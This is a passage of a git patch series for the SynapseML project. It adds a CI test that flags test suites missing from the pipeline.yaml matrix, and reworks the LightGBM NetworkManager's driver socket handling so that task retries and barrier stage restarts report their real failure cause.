String, specs: Seq[String]): Boolean = + specs.exists { spec => + if (spec.endsWith(".**")) fqcn.startsWith(spec.dropRight(2)) + else fqcn == spec + } + + test("Every test suite is claimed by a leg of the UnitTests matrix") { + val pipelineFile = new File(repoRoot, "pipeline.yaml") + assert(pipelineFile.exists(), s"pipeline.yaml not found at ${pipelineFile.getAbsolutePath}") + val specs = matrixSpecs(readFile(pipelineFile)) + assert(specs.nonEmpty, "Parsed no test specs out of the UnitTests matrix") + + val sources = testSourceFiles.map(file => file -> readFile(file)) + assert(sources.size > 100, s"Expected to scan the whole repo, only found ${sources.size} test files") + + val parsed = sources.map { case (file, source) => + val pkg = raw"(?m)^package\s+([\w.]+)".r.findFirstMatchIn(source).map(_.group(1)) + (file, pkg, parseDeclarations(source)) + } + val suiteTypes = suiteTypeNames(parsed.flatMap { case (_, _, decls) => decls }) + + val discovered = parsed.flatMap { case (file, pkg, decls) => + pkg.toSeq.flatMap { p => + decls + .filter(decl => decl.isConcreteClass && decl.parents.exists(suiteTypes)) + .map(decl => s"$p.${decl.name}" -> file.getName) + } + }.distinct + + // Without this the guard would pass vacuously if source parsing ever silently broke. + assert(discovered.size > 200, s"Only discovered ${discovered.size} suites; source parsing looks broken") + Seq( + "com.microsoft.azure.synapse.ml.services.language.AnalyzeTextLROSuite", // wraps, extends AnyFunSuiteLike + "com.microsoft.azure.synapse.ml.stages.EnsembleByKeySuite", + "com.microsoft.azure.synapse.ml.services.search.AzureSearchAuthSuite" + ).foreach { known => + assert(discovered.exists(_._1 == known), s"Suite discovery missed $known") + } + + val orphans = discovered + .filterNot { case (fqcn, _) => dedicatedStageSuites.exists(fqcn.startsWith) } + .filterNot { case (fqcn, _) => isCovered(fqcn, specs) } + .map { case (fqcn, fileName) => s"$fqcn ($fileName)" } + .sorted + + assert(orphans.isEmpty, + s"${orphans.size} test suite(s) are never run by CI. Add them to the UnitTests matrix in " + + s"pipeline.yaml:\n ${orphans.mkString("\n ")}") + } +} diff --git a/pipeline.yaml b/pipeline.yaml index 79d4a8ff131..40513a5cba2 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -830,6 +830,21 @@ jobs: PACKAGE: "train" vw: PACKAGE: "vw" + # Suites whose packages no other leg claims. PipelineTestCoverageSuite fails the build when + # a new suite lands in a package this matrix never names. + misc: + PACKAGE: "misc" + TEST_CLASSES: >- + com.microsoft.azure.synapse.ml.param.** + com.microsoft.azure.synapse.ml.logging.** + com.microsoft.azure.synapse.ml.fabric.** + com.microsoft.azure.synapse.ml.explainers.VerifyFeatureStats + com.microsoft.azure.synapse.ml.io.http.VerifySharedVariable + com.microsoft.azure.synapse.ml.nbtest.FabricTestArtifactTrackerSuite + com.microsoft.azure.synapse.ml.services.search.AddDocumentsHeaderPersistenceSuite + com.microsoft.azure.synapse.ml.services.search.AzureSearchAuthSuite + com.microsoft.azure.synapse.ml.services.search.AzureSearchGenericParamPersistenceSuite + com.microsoft.azure.synapse.ml.services.speech.SpeechToTextSDKSecuritySuite steps: - template: templates/sbt_cache.yml - template: templates/update_cli.yml From 4a52d9ae4184d3ce00394cd9cb4209c35990fc47 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 11 Aug 2026 17:07:47 -0700 Subject: [PATCH 42/93] fix: preserve the real cause when a LightGBM task retry cannot rejoin the network (#2612) --- docs/Explore Algorithms/LightGBM/Overview.md | 17 + .../synapse/ml/lightgbm/LightGBMBase.scala | 15 +- .../synapse/ml/lightgbm/NetworkManager.scala | 541 ++++++++++-------- .../NetworkManagerSocketSupport.scala | 157 +++++ .../synapse/ml/lightgbm/WorkerMessage.scala | 66 +++ .../split1/BarrierNetworkRecoverySuite.scala | 372 ++++++++++++ .../split1/DriverSocketRetryE2ESuite.scala | 89 +++ .../split1/DriverSocketRetrySuite.scala | 384 +++++++++++++ 8 files changed, 1408 insertions(+), 233 deletions(-) create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManagerSocketSupport.scala create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/BarrierNetworkRecoverySuite.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetryE2ESuite.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala diff --git a/docs/Explore Algorithms/LightGBM/Overview.md b/docs/Explore Algorithms/LightGBM/Overview.md index 9106da7171c..1f8cc1e9a4d 100644 --- a/docs/Explore Algorithms/LightGBM/Overview.md +++ b/docs/Explore Algorithms/LightGBM/Overview.md @@ -260,3 +260,20 @@ To use it in scala, you can call setUseBarrierExecutionMode(true), for example: ... Note: barrier execution mode can also cause complicated issues, so use it only if needed. + +Barrier execution mode is also the only mode that can recover from a task failure that happens after the +network topology has been negotiated. A LightGBM network is negotiated once and then fixed, so an individual +Spark task retry can never rejoin it. Spark restarts a barrier stage in its entirety, and the driver serves a +fresh topology round for each stage attempt, so training can survive a failure that would otherwise abort the +job. Failures that happen before a task joins the network are still retried normally in either mode. + +### Diagnosing "Connection refused" during training + +Distributed training first exchanges `host:port` information with the driver, which serves that exchange +once per stage attempt. If a task fails after that exchange, the regular (non-barrier) retry of that task +reconnects to a driver endpoint that is no longer accepting connections. Because Spark only reports the +most recent attempt, this can hide the failure that actually caused the retry. + +When this happens, the reported error explains that it's a retry that could not rejoin the network, and +names the partition to investigate. Look for the **first** failed attempt of that partition in the executor +logs — that attempt holds the real cause. diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala index 79a17931c7c..287aab262c4 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala @@ -595,10 +595,17 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] networkManager) // Execute the Tasks on workers - val lightGBMBooster = executePartitionTasks(ctx, dataframe, measures) - - // Wait for network to complete (should be done by now) - networkManager.waitForNetworkCommunicationsDone() + val lightGBMBooster = try { + val booster = executePartitionTasks(ctx, dataframe, measures) + + // Wait for network to complete (should be done by now) + networkManager.waitForNetworkCommunicationsDone() + booster + } finally { + // If training failed, the network thread may still be blocked accepting connections that will + // never arrive. Closing the driver sockets releases it and the port for the next attempt. + networkManager.closeConnections() + } measures.markTrainingStop() val model = getModel(trainParams, lightGBMBooster) measures.markExecutionEnd() diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala index f7a48ecc929..a0a40095840 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala @@ -5,22 +5,22 @@ package com.microsoft.azure.synapse.ml.lightgbm import com.microsoft.azure.synapse.ml.core.env.StreamUtilities.{using, usingMany} import com.microsoft.azure.synapse.ml.core.utils.{ClusterUtil, FaultToleranceUtils} -import com.microsoft.azure.synapse.ml.lightgbm.NetworkManager.parseWorkerMessage import com.microsoft.ml.lightgbm.lightgbmlib import org.apache.spark.BarrierTaskContext +import org.apache.spark.TaskContext import org.apache.spark.internal.Logging import org.apache.spark.sql.SparkSession import org.slf4j.Logger import java.io.{BufferedReader, BufferedWriter, IOException, InputStreamReader, OutputStreamWriter} -import java.net.{BindException, InetSocketAddress, ServerSocket, Socket} -import java.util.concurrent.Executors +import java.net.{ConnectException, ServerSocket, Socket, SocketException, SocketTimeoutException} +import java.util.concurrent.{ExecutorService, Executors} import scala.annotation.tailrec import scala.collection.mutable -import scala.collection.mutable.ListBuffer import scala.concurrent.{Await, ExecutionContext, ExecutionContextExecutor, Future} import scala.concurrent.duration.{Duration, SECONDS} import scala.language.existentials +import scala.util.control.NonFatal case class TaskMessageInfo(status: String, taskHost: String, @@ -75,71 +75,18 @@ case class NetworkTopologyInfo(lightgbmNetworkString: String, } object NetworkManager { - private val MaxSocketCloseAttempts = 2 - - private def addSuppressed(primaryFailure: Throwable, secondaryFailure: Throwable): Unit = { - if (primaryFailure ne secondaryFailure) primaryFailure.addSuppressed(secondaryFailure) - } - - /** Close a socket with one immediate retry, retaining every observed cleanup failure. */ - private[lightgbm] def closeSocketWithRetry(socket: Socket): Unit = { - @tailrec - def attemptClose(attemptsRemaining: Int, - firstFailure: Option[IOException]): Option[IOException] = { - if (socket.isClosed || attemptsRemaining == 0) { - firstFailure - } else { - val updatedFailure = try { - socket.close() - firstFailure - } catch { - case failure: IOException => - firstFailure.foreach(existing => addSuppressed(existing, failure)) - firstFailure.orElse(Option(failure)) - } - attemptClose(attemptsRemaining - 1, updatedFailure) - } - } + private def addSuppressed(primaryFailure: Throwable, secondaryFailure: Throwable): Unit = + NetworkManagerSocketSupport.addSuppressed(primaryFailure, secondaryFailure) - val closeFailure = attemptClose(MaxSocketCloseAttempts, None).orElse { - if (socket.isClosed) None else Option(new IOException("Socket remained open after cleanup attempts")) - } - closeFailure.foreach(throw _) - } + private[lightgbm] def closeSocketWithRetry(socket: Socket): Unit = + NetworkManagerSocketSupport.closeSocketWithRetry(socket) - /** Run cleanup without allowing it to replace a failure from the protected operation. - * - * The Throwable catch is deliberately limited to recording and immediately rethrowing the original - * failure; it is not a fallback or recovery boundary. - */ - private[lightgbm] def withCleanupPreservingPrimary[T](cleanup: => Unit)(operation: => T): T = { - var primaryFailure: Option[Throwable] = None - try { - operation - } catch { - case failure: Throwable => - primaryFailure = Option(failure) - throw failure - } finally { - try { - cleanup - } catch { - case cleanupFailure: Throwable if primaryFailure.isDefined => - addSuppressed(primaryFailure.get, cleanupFailure) - } - } - } + private[lightgbm] def withCleanupPreservingPrimary[T](cleanup: => Unit)(operation: => T): T = + NetworkManagerSocketSupport.withCleanupPreservingPrimary(cleanup)(operation) + + private[lightgbm] def withCleanupOnFailurePreservingPrimary[T](cleanup: => Unit)(operation: => T): T = + NetworkManagerSocketSupport.withCleanupOnFailurePreservingPrimary(cleanup)(operation) - /** Run cleanup only when the protected operation fails, preserving that primary failure. */ - private[lightgbm] def withCleanupOnFailurePreservingPrimary[T] - (cleanup: => Unit)(operation: => T): T = { - var completed = false - withCleanupPreservingPrimary(if (!completed) cleanup) { - val result = operation - completed = true - result - } - } /** * Create a NetworkManager, which will encapsulate all network operations. * This method will opens a socket communications channel on the driver, and then initialize @@ -210,13 +157,18 @@ object NetworkManager { localListenPort => log.info(s"LightGBM task $taskId connecting to host: " + s"${networkParams.ipAddress}, port: ${networkParams.port}") - FaultToleranceUtils.retryWithTimeout() { - getNetworkTopologyInfoFromDriver(networkParams, - taskId, - partitionId, - localListenPort, - log, - shouldExecuteTraining) + try { + FaultToleranceUtils.retryWithTimeout() { + getNetworkTopologyInfoFromDriver(networkParams, + taskId, + partitionId, + localListenPort, + log, + shouldExecuteTraining) + } + } catch { + case connectFailure: ConnectException => + throw driverUnreachableException(networkParams, taskId, partitionId, log, connectFailure) } } } finally { @@ -224,6 +176,36 @@ object NetworkManager { } } + /** Explain why a task could not reach the driver's network topology endpoint. + * + * The driver serves the topology exchange exactly once per training round and then closes its + * server socket. A task that Spark retries after that point can therefore only ever see + * "connection refused", which silently replaces the failure that caused the retry in the first + * place. Naming that explicitly keeps the original failure discoverable. + */ + private[lightgbm] def driverUnreachableException(networkParams: NetworkParams, + taskId: Long, + partitionId: Int, + log: Logger, + cause: ConnectException): Exception = { + val attemptNumber = Option(TaskContext.get()).map(_.attemptNumber()).getOrElse(0) + val endpoint = s"${networkParams.ipAddress}:${networkParams.port}" + val message = if (attemptNumber > 0) { + s"LightGBM task $taskId (partition $partitionId) could not reach the driver network topology endpoint " + + s"$endpoint on retry attempt $attemptNumber. The driver serves the topology exchange once per training " + + "round and has already closed it, so a retried task can never rejoin the LightGBM network. This error " + + s"is therefore a consequence of an earlier failure: inspect the logs of the first failed attempt of " + + s"partition $partitionId to find the real cause. Distributed LightGBM training cannot recover from a " + + "partial task retry." + } else { + s"LightGBM task $taskId (partition $partitionId) could not reach the driver network topology endpoint " + + s"$endpoint on its first attempt. Verify that executors are allowed to open connections to the driver " + + "on that port, and that the driver was not shut down before training started." + } + log.error(message, cause) + new Exception(message, cause) + } + private def getNetworkTopologyInfoFromDriver(networkParams: NetworkParams, taskId: Long, partitionId: Int, @@ -239,13 +221,14 @@ object NetworkManager { val driverOutput = io(1).asInstanceOf[BufferedWriter] // Get message to send to driver with info about this task + val stageAttemptNumber = Option(TaskContext.get()).map(_.stageAttemptNumber()).getOrElse(0) val taskStatus = TaskMessageInfo( if (shouldExecuteTraining) LightGBMConstants.EnabledTask else LightGBMConstants.IgnoreStatus, driverSocket.getLocalAddress.getHostAddress, localListenPort, partitionId, LightGBMUtils.getExecutorId) // TODO can we use host for this? - val message = taskStatus.toString() + val message = WorkerMessage.format(taskStatus, stageAttemptNumber) log.info(s"task $taskId sending status message to driver: $message ") driverOutput.write(s"$message\n") driverOutput.flush() @@ -255,7 +238,7 @@ object NetworkManager { val context = BarrierTaskContext.get() context.barrier() if (context.partitionId() == 0) { - setFinishedStatus(networkParams, log) + setFinishedStatus(networkParams, stageAttemptNumber, context.getTaskInfos().length, log) } } @@ -433,113 +416,42 @@ object NetworkManager { reserveOpenPort(basePort, log) } - /** Reserve the first available port at or above basePort. - * - * Only address-in-use failures advance to another port. Other failures propagate after the candidate - * socket is closed, rather than silently falling back to a different port. - */ - private[lightgbm] def reserveOpenPort(basePort: Int, log: Logger): Socket = { - reserveOpenPort(basePort, log, () => new Socket()) - } + private[lightgbm] def reserveOpenPort(basePort: Int, log: Logger): Socket = + NetworkManagerSocketSupport.reserveOpenPort(basePort, log) private[lightgbm] def reserveOpenPort(basePort: Int, log: Logger, - createSocket: () => Socket): Socket = { - validatePort(basePort) + createSocket: () => Socket): Socket = + NetworkManagerSocketSupport.reserveOpenPort(basePort, log, createSocket) - @tailrec - def reservePort(localListenPort: Int): Socket = { - val bindResult: Either[BindException, Socket] = try { - Right(reserveExactPort(localListenPort, log, createSocket)) - } catch { - // A suppressed exception means candidate cleanup failed, so proceeding would leak a socket. - case contention: BindException if contention.getSuppressed.isEmpty => Left(contention) - } + private[lightgbm] def reserveExactPort(localListenPort: Int, log: Logger): Socket = + NetworkManagerSocketSupport.reserveExactPort(localListenPort, log) - bindResult match { - case Right(reservation) => reservation - case Left(_) => - log.warn(s"Could not bind to port $localListenPort...") - val nextPort = localListenPort + 1 - if (nextPort > LightGBMConstants.MaxPort) { - throw new Exception(s"Error: port $basePort out of range, " + - "possibly due to networking or firewall issues") - } - if (nextPort - basePort > 1000) { - throw new Exception("Error: Could not find open port after 1k tries") - } - reservePort(nextPort) - } - } - - reservePort(basePort) - } - - /** Reserve one exact port. Native-init retries cannot change the previously advertised port. */ - private[lightgbm] def reserveExactPort(localListenPort: Int, log: Logger): Socket = { - reserveExactPort(localListenPort, log, () => new Socket()) - } - - private def reserveExactPort(localListenPort: Int, - log: Logger, - createSocket: () => Socket): Socket = { - validatePort(localListenPort) - val candidate = createSocket() - withCleanupOnFailurePreservingPrimary(closeSocketWithRetry(candidate)) { - candidate.bind(new InetSocketAddress(localListenPort)) - log.info(s"Successfully bound to port $localListenPort") - candidate - } - } - - private def validatePort(port: Int): Unit = { - if (port < 0 || port > LightGBMConstants.MaxPort) { - throw new Exception(s"Error: port $port out of range, possibly due to too many executors or unknown error") - } - } - - /** Keep a training task's port reserved, while releasing helper and failed-task reservations immediately. */ private[lightgbm] def withPortReservation(reservation: Socket, shouldExecuteTraining: Boolean) - (getTopology: Int => NetworkTopologyInfo): NetworkTopologyInfo = { - var retained = false - withCleanupPreservingPrimary(if (!retained) closeSocketWithRetry(reservation)) { - val topology = getTopology(reservation.getLocalPort) - if (shouldExecuteTraining) { - topology.retainPortReservation(reservation) - retained = true - } - topology - } - } + (getTopology: Int => NetworkTopologyInfo): NetworkTopologyInfo = + NetworkManagerSocketSupport.withPortReservation(reservation, shouldExecuteTraining)(getTopology) - private def setFinishedStatus(networkParams: NetworkParams, log: Logger): Unit = { + private def setFinishedStatus(networkParams: NetworkParams, + stageAttemptNumber: Int, + barrierTaskCount: Int, + log: Logger): Unit = { using(new Socket(networkParams.ipAddress, networkParams.port)) { driverSocket => using(new BufferedWriter(new OutputStreamWriter(driverSocket.getOutputStream))) { driverOutput => - log.info("sending finished status to driver") - // If barrier execution mode enabled, create a barrier across tasks - driverOutput.write(s"${LightGBMConstants.FinishedStatus}\n") + log.info(s"sending finished status to driver for $barrierTaskCount barrier tasks") + // The barrier task count tells the driver how many topology reports to expect. It can be + // smaller than numTasks, because barrier mode never repartitions upwards when the input + // has fewer partitions than numTasks. + driverOutput.write(s"${WorkerMessage.formatFinished(stageAttemptNumber, barrierTaskCount)}\n") driverOutput.flush() }.get }.get } def parseWorkerMessage(message: String): TaskMessageInfo = { - val components = message.split(":") - val status = components(0) - - if (status == LightGBMConstants.FinishedStatus) new TaskMessageInfo(status) - else { - if (components.length != 5) throw new Exception(s"Unexpected message: $message") - - val host = components(1) - val port = components(2).toInt - val partitionId: Int = components(3).toInt - val executorId = components(4) //scalastyle:ignore magic.number - TaskMessageInfo(status, host, port, partitionId, executorId) - } + WorkerMessage.parse(message).toTaskMessage } } @@ -554,43 +466,101 @@ case class NetworkManager(numTasks: Int, timeout: Double, useBarrierExecutionMode: Boolean) extends Logging { - // Arrays to store network topology in as it arrives - private val hostAndPorts = ListBuffer[(Socket, String)]() - private val loadOnlyHostAndPorts = ListBuffer[Socket]() // TODO we know this count right? - private val hostToMinPartition = mutable.Map[String, Int]() - private val partitionsByExecutor = mutable.Map[String, List[Int]]() + private final class TaskConnection(val socket: Socket, val message: WorkerMessage) { + def networkInfoString: String = s"${message.taskHost}:${message.localListenPort}" + } + + // Spark can retry a task report within the same stage attempt. Keeping one connection per + // partition prevents duplicates from satisfying or permanently overshooting the round count. + private val taskConnectionsByPartition = mutable.Map[Int, TaskConnection]() + + // The Spark stage attempt whose topology is currently being collected. A barrier stage restarts + // as a whole, so a higher attempt number means everything gathered so far is obsolete. + private var currentStageAttempt = -1 + private var finishedForCurrentStageAttempt = false + private var expectedTaskCountForCurrentStageAttempt: Option[Int] = None + private var acceptedSocket: Option[Socket] = None + @volatile private var shutdownRequested = false // Concatenate with commas, eg: host1:port1,host2:port2, ... etc // Also make sure the order is deterministic by sorting on minimum partition id - private lazy val networkTopologyAsString: String = { - val hostPortsList = hostAndPorts.map(_._2).sortBy(hostPort => { - val host = hostPort.split(":")(0) - hostToMinPartition(host) - }) - hostPortsList.mkString(",") + private def networkTopologyAsString: String = synchronized { + val connections = taskConnectionsByPartition.values.toSeq + val minPartitionByHost = connections.groupBy(_.message.taskHost).map { case (taskHost, hostConnections) => + taskHost -> hostConnections.map(_.message.partitionId).min + } + connections + .filter(_.message.isForTraining) + .sortBy(connection => + (minPartitionByHost(connection.message.taskHost), connection.message.partitionId)) + .map(_.networkInfoString) + .mkString(",") } // Create a string representing of the partitionsByExecutor map // e.g. executor1=partition1,partition2:executor2=partition3,partition4 - private lazy val partitionsByExecutorAsString: String = { - val executorList = partitionsByExecutor.map { case (executor, partitionList) => - executor + "=" + partitionList.mkString(",") - } - executorList.mkString(":") + private def partitionsByExecutorAsString: String = synchronized { + taskConnectionsByPartition.values + .groupBy(_.message.executorId) + .toSeq + .sortBy(_._1) + .map { case (executorId, connections) => + s"$executorId=${connections.map(_.message.partitionId).toSeq.sorted.mkString(",")}" + } + .mkString(":") } + private val networkCommunicationExecutor: ExecutorService = Executors.newSingleThreadExecutor() + // This will be kicked off at object creation time, and can be waited on by waitForNetworkDone() private val networkCommunicationThread: Future[Unit] = Future { - log.info(s"driver waiting for connections on host: $host and port: $port") + try { + log.info(s"driver waiting for connections on host: $host and port: $port") + if (useBarrierExecutionMode) serveTopologyRoundsUntilShutdown() else serveTopologyRound() + } finally { + // Always release the sockets, including when the topology exchange fails or times out. + closeConnections() + // Release the dedicated thread so repeated fits on a long-lived driver do not leak threads. + networkCommunicationExecutor.shutdown() + } + } (ExecutionContext.fromExecutor(networkCommunicationExecutor)) + + private def serveTopologyRound(): Unit = { waitForAllTasksToReport() // We have all the information now, so report back to workers sendDataToExecutors(networkTopologyAsString, partitionsByExecutorAsString) + } - closeConnections() - } (ExecutionContext.fromExecutor(Executors.newSingleThreadExecutor())) + /** Serves topology rounds until the training job says it is done. + * + * A barrier stage is restarted in its entirety when any of its tasks fails, which is the only way + * a LightGBM network can legitimately re-form. Serving a single round means the restarted stage + * finds a closed port and dies with "connection refused", so keep listening instead. + */ + @tailrec + private def serveTopologyRoundsUntilShutdown(): Unit = { + val keepServing = + try { + serveTopologyRound() + resetRoundState() + true + } catch { + case _: SocketTimeoutException => + // Training can easily outlast the socket timeout, so an idle driver is not an error here. + log.info("driver saw no task connections within the timeout, still listening for a stage restart") + true + case socketFailure: SocketException => + if (!shutdownRequested) throw socketFailure + log.info("driver stopped serving topology rounds") + false + } + if (keepServing) serveTopologyRoundsUntilShutdown() + } def waitForNetworkCommunicationsDone(): Unit = { + // In barrier mode the driver keeps listening for a restarted stage, so it never stops on its own. + if (useBarrierExecutionMode) closeConnections() Await.result(networkCommunicationThread, Duration(timeout, SECONDS)) } @@ -608,89 +578,202 @@ case class NetworkManager(numTasks: Int, } else { log.info(s"driver expecting $numTasks connections...") + // Count the tasks actually recorded rather than the connections seen, so that connections + // discarded as belonging to a superseded stage attempt do not end the round early. @tailrec - def connectToWorkers(numProcessedTasks: Int): Unit = { + def connectToWorkers(): Unit = { handleNextWorkerConnection() - val newNumProcessedTasks = numProcessedTasks + 1 - if (newNumProcessedTasks != numTasks) connectToWorkers(newNumProcessedTasks) + if (reportedTaskCount < numTasks) connectToWorkers() } - connectToWorkers(0) + connectToWorkers() } } /** Handles the connection to a task from the driver. * - * @return Whether the response was a "Finished" response for barrier mode. + * @return Whether the current barrier round has both its Finished marker and every task report. * Always false for non-barrier mode. */ private def handleNextWorkerConnection(): Boolean = { log.info("driver accepting a new connection...") val socket = driverServerSocket.accept() // block until connection is made + if (!registerAcceptedSocket(socket)) { + closeQuietly(socket) + false + } else { + try { + val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) + val messageStr = reader.readLine() + log.info(s"received worker message string: $messageStr") + processWorkerConnection(socket, WorkerMessage.parse(messageStr)) + } catch { + case failure: Throwable => + closeAcceptedSocket(socket) + throw failure + } + } + } - val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) - val messageStr = reader.readLine() - log.info(s"received worker message string: $messageStr") - val message: TaskMessageInfo = parseWorkerMessage(messageStr) + private def processWorkerConnection(socket: Socket, message: WorkerMessage): Boolean = synchronized { + if (shutdownRequested) { + closeAcceptedSocket(socket) + false + } else if (message.stageAttemptNumber < currentStageAttempt) { + // A straggler from a stage attempt that Spark has already abandoned. Recording it would put a + // dead host:port into the topology that every surviving task then tries to connect to. + log.info(s"driver ignoring message from superseded stage attempt ${message.stageAttemptNumber}") + closeAcceptedSocket(socket) + false + } else { + startNewStageAttemptIfNeeded(message.stageAttemptNumber) + recordWorkerConnection(socket, message) + } + } + private def startNewStageAttemptIfNeeded(stageAttemptNumber: Int): Unit = { + if (stageAttemptNumber > currentStageAttempt) { + if (currentStageAttempt >= 0) { + log.info(s"driver starting topology round for stage attempt $stageAttemptNumber, " + + s"discarding the partial topology collected for attempt $currentStageAttempt") + resetRoundState() + } + currentStageAttempt = stageAttemptNumber + } + } + + private def recordWorkerConnection(socket: Socket, message: WorkerMessage): Boolean = { if (message.isFinished) { - log.info("driver received all tasks from barrier stage") - true + log.info(s"driver received finished marker from barrier stage for ${message.barrierTaskCount} tasks") + finishedForCurrentStageAttempt = true + message.barrierTaskCount.filter(_ > 0).foreach(count => expectedTaskCountForCurrentStageAttempt = Some(count)) + closeAcceptedSocket(socket) // The finished message uses its own short-lived connection. } else { - message match { - case m if m.isForLoadOnly => - log.info("driver received load-only status from task") - loadOnlyHostAndPorts += socket - case m if m.isForTraining => - val networkInfoString = s"${message.taskHost}:${message.localListenPort}" - log.info(s"driver received socket from task: $networkInfoString") - val socketAndMessage = (socket, networkInfoString) - hostAndPorts += socketAndMessage - case _ => throw new Exception(s"Unknown message type: ${message.toString()}") - } + recordTaskConnection(socket, message) + } - // Update the min partition/executor tracking - if (!hostToMinPartition.contains(message.taskHost) - || hostToMinPartition(message.taskHost) > message.partitionId) { - hostToMinPartition(message.taskHost) = message.partitionId - } + val roundComplete = barrierRoundComplete + if (roundComplete) log.info("driver received all task reports and the finished marker from barrier stage") + roundComplete + } - // Update the tracking of which partitions are on which executor - if (!partitionsByExecutor.contains(message.executorId)) { - partitionsByExecutor(message.executorId) = List { message.partitionId } - } else { - val currentPartitionList = partitionsByExecutor(message.executorId) - partitionsByExecutor(message.executorId) = currentPartitionList :+ message.partitionId - } + /** + * The finished marker only tells the driver that the barrier stage synchronized; the task reports + * can still be sitting in the accept backlog, so completing on the marker alone risks broadcasting + * a partial topology. Wait for as many reports as the barrier stage actually ran, which the marker + * carries. That count is not always numTasks: barrier mode never repartitions upwards, so a user + * who sets numTasks above the input's partition count runs fewer tasks, and waiting for numTasks + * reports would hang until Spark's barrier timeout. + */ + private def barrierRoundComplete: Boolean = { + if (!useBarrierExecutionMode || !finishedForCurrentStageAttempt) { false + } else { + expectedTaskCountForCurrentStageAttempt match { + case Some(expected) => reportedTaskCount >= math.min(expected, numTasks) + // A sender that did not report a count leaves the marker as the only signal available. + case None => true + } + } + } + + private def recordTaskConnection(socket: Socket, message: WorkerMessage): Unit = { + if (message.partitionId < 0 || message.partitionId >= numTasks) { + throw new Exception(s"Unexpected partition id ${message.partitionId}; expected a value in [0, $numTasks)") + } + + val connection = new TaskConnection(socket, message) + message match { + case m if m.isForLoadOnly => + log.info("driver received load-only status from task") + case m if m.isForTraining => + log.info(s"driver received socket from task: ${connection.networkInfoString}") + case _ => throw new Exception(s"Unknown message type: ${message.status}") + } + + val previousConnection = taskConnectionsByPartition.put(message.partitionId, connection) + acceptedSocket = None + previousConnection.foreach { previous => + log.info(s"driver replacing duplicate report for partition ${message.partitionId}") + if (previous.socket ne socket) closeQuietly(previous.socket) } } private def sendDataToExecutors(lightGBMNetworkTopology: String, partitionsByExecutor: String): Unit = { // TODO optimize and not send for bulk mode helpers // Send aggregated network information back to all tasks and helper tasks on executors - val count = hostAndPorts.length + loadOnlyHostAndPorts.length + val sockets = synchronized { + taskConnectionsByPartition.values.map(_.socket).toSeq + } + val count = sockets.length log.info(s"driver writing back network topology to $count connections: $lightGBMNetworkTopology") log.info(s"driver writing back partition topology to $count connections: $partitionsByExecutor") - hostAndPorts.foreach(hostAndPort => { - val writer = new BufferedWriter(new OutputStreamWriter(hostAndPort._1.getOutputStream)) - writer.write(lightGBMNetworkTopology + "\n") - writer.write(partitionsByExecutor + "\n") - writer.flush() - }) - loadOnlyHostAndPorts.foreach(hostAndPort => { - val writer = new BufferedWriter(new OutputStreamWriter(hostAndPort.getOutputStream)) + sockets.foreach(socket => { + val writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream)) writer.write(lightGBMNetworkTopology + "\n") writer.write(partitionsByExecutor + "\n") writer.flush() }) } - private def closeConnections(): Unit = { + /** Release every driver-side socket for this training round. + * + * Safe to call more than once and from more than one thread, so both the network thread and the + * training job can guarantee cleanup. Closing the server socket also unblocks a network thread + * that is still parked in accept() waiting for tasks that will never arrive. + */ + private[lightgbm] def closeConnections(): Unit = synchronized { + shutdownRequested = true log.info("driver closing all sockets and server socket") - hostAndPorts.foreach(_._1.close()) - driverServerSocket.close() + acceptedSocket.foreach(closeQuietly) + acceptedSocket = None + closeRoundSockets() + closeQuietly(driverServerSocket) log.info("driver done closing all sockets and server socket") } + + /** Number of tasks whose topology has been recorded for the current stage attempt. */ + private def reportedTaskCount: Int = synchronized { + taskConnectionsByPartition.size + } + + /** Discards everything gathered for a stage attempt so the next one starts from a clean slate. */ + private def resetRoundState(): Unit = synchronized { + closeRoundSockets() + taskConnectionsByPartition.clear() + finishedForCurrentStageAttempt = false + expectedTaskCountForCurrentStageAttempt = None + } + + private def closeRoundSockets(): Unit = synchronized { + taskConnectionsByPartition.values.foreach(connection => closeQuietly(connection.socket)) + } + + /** Tracks the socket between accept() and its transfer into the current round's socket buffers. */ + private def registerAcceptedSocket(socket: Socket): Boolean = synchronized { + if (shutdownRequested) { + false + } else { + acceptedSocket = Some(socket) + true + } + } + + private def closeAcceptedSocket(socket: Socket): Unit = synchronized { + if (acceptedSocket.contains(socket)) { + acceptedSocket = None + closeQuietly(socket) + } + } + + private def closeQuietly(closeable: java.io.Closeable): Unit = { + try { + closeable.close() + } catch { + case NonFatal(closeFailure) => + // One socket refusing to close must not strand the others, especially the server socket. + log.warn("driver could not close a network socket cleanly", closeFailure) + } + } } diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManagerSocketSupport.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManagerSocketSupport.scala new file mode 100644 index 00000000000..23256fad3ef --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManagerSocketSupport.scala @@ -0,0 +1,157 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root 